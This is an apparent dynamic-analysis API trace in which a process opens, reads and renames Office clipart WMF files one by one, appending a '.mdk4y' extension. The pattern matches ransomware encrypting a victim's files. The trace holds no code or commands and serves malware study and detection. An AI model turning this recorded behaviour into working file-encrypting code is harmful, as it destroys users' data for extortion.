CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822702300000) returned 1 [0151.793] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3394, lpOverlapped=0x0) returned 1 [0151.817] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822704700000) returned 1 [0151.817] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822704700000) returned 1 [0151.817] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.mdk4y")) returned 1 [0151.818] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.818] AreFileApisANSI () returned 1 [0151.818] GetACP () returned 0x4e4 [0151.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0151073.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0151073.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.818] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822704900000) returned 1 [0151.819] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3418, lpOverlapped=0x0) returned 1 [0151.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822705100000) returned 1 [0151.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822705100000) returned 1 [0151.821] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.mdk4y")) returned 1 [0151.822] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.822] AreFileApisANSI () returned 1 [0151.822] GetACP () returned 0x4e4 [0151.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0151581.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0151581.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.822] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.823] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822705300000) returned 1 [0151.823] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a00, lpOverlapped=0x0) returned 1 [0151.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822706700000) returned 1 [0151.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822706700000) returned 1 [0151.838] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.mdk4y")) returned 1 [0151.838] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.838] AreFileApisANSI () returned 1 [0151.839] GetACP () returned 0x4e4 [0151.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152414.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152414.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.839] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.839] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822706900000) returned 1 [0151.839] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x610c, lpOverlapped=0x0) returned 1 [0151.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822709900000) returned 1 [0151.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822709900000) returned 1 [0151.870] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.mdk4y")) returned 1 [0151.871] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.871] AreFileApisANSI () returned 1 [0151.871] GetACP () returned 0x4e4 [0151.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152430.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152430.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.871] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822710200000) returned 1 [0151.872] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3734, lpOverlapped=0x0) returned 1 [0151.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822710400000) returned 1 [0151.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822710400000) returned 1 [0151.875] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.mdk4y")) returned 1 [0151.875] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.876] AreFileApisANSI () returned 1 [0151.876] GetACP () returned 0x4e4 [0151.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152432.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152432.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.876] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822710600000) returned 1 [0151.876] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x406c, lpOverlapped=0x0) returned 1 [0151.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822714500000) returned 1 [0151.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822714500000) returned 1 [0151.916] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.mdk4y")) returned 1 [0151.917] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.917] AreFileApisANSI () returned 1 [0151.917] GetACP () returned 0x4e4 [0151.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152436.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152436.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.917] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822714700000) returned 1 [0151.918] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2c4c, lpOverlapped=0x0) returned 1 [0151.921] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822715100000) returned 1 [0151.921] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822715100000) returned 1 [0151.924] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.mdk4y")) returned 1 [0151.924] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.924] AreFileApisANSI () returned 1 [0151.924] GetACP () returned 0x4e4 [0151.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152556.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152556.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.925] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822715500000) returned 1 [0151.925] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4030, lpOverlapped=0x0) returned 1 [0151.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822716400000) returned 1 [0151.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822716400000) returned 1 [0151.935] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.mdk4y")) returned 1 [0151.936] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.936] AreFileApisANSI () returned 1 [0151.936] GetACP () returned 0x4e4 [0151.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152558.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152558.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.936] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.936] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822716600000) returned 1 [0151.936] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3eb4, lpOverlapped=0x0) returned 1 [0151.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822718800000) returned 1 [0151.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822718800000) returned 1 [0151.959] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.mdk4y")) returned 1 [0151.960] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.960] AreFileApisANSI () returned 1 [0151.960] GetACP () returned 0x4e4 [0151.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152560.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152560.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.960] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.961] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822719000000) returned 1 [0151.961] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a80, lpOverlapped=0x0) returned 1 [0151.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822721200000) returned 1 [0151.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822721200000) returned 1 [0151.983] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.mdk4y")) returned 1 [0151.984] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0151.984] AreFileApisANSI () returned 1 [0151.984] GetACP () returned 0x4e4 [0151.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152568.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152568.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0151.984] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0151.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822721500000) returned 1 [0151.985] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe70, lpOverlapped=0x0) returned 1 [0151.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822722900000) returned 1 [0151.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822722900000) returned 1 [0151.999] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.mdk4y")) returned 1 [0152.000] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.000] AreFileApisANSI () returned 1 [0152.000] GetACP () returned 0x4e4 [0152.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152570.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152570.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.000] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.001] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822723100000) returned 1 [0152.002] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd28, lpOverlapped=0x0) returned 1 [0152.020] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822725000000) returned 1 [0152.020] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822725000000) returned 1 [0152.021] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.mdk4y")) returned 1 [0152.022] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.022] AreFileApisANSI () returned 1 [0152.022] GetACP () returned 0x4e4 [0152.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152590.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152590.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.022] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822725200000) returned 1 [0152.022] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2ab4, lpOverlapped=0x0) returned 1 [0152.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822726700000) returned 1 [0152.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822726700000) returned 1 [0152.038] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.mdk4y")) returned 1 [0152.039] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.039] AreFileApisANSI () returned 1 [0152.039] GetACP () returned 0x4e4 [0152.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152594.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152594.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.039] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.039] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822726900000) returned 1 [0152.039] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x18c4, lpOverlapped=0x0) returned 1 [0152.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822728100000) returned 1 [0152.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822728100000) returned 1 [0152.054] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.mdk4y")) returned 1 [0152.055] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0152.055] AreFileApisANSI () returned 1 [0152.055] GetACP () returned 0x4e4 [0152.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0152600.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0152600.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0152.055] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0152.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822728500000) returned 1 [0152.056] ReadFile (in: hFile=0xd8, 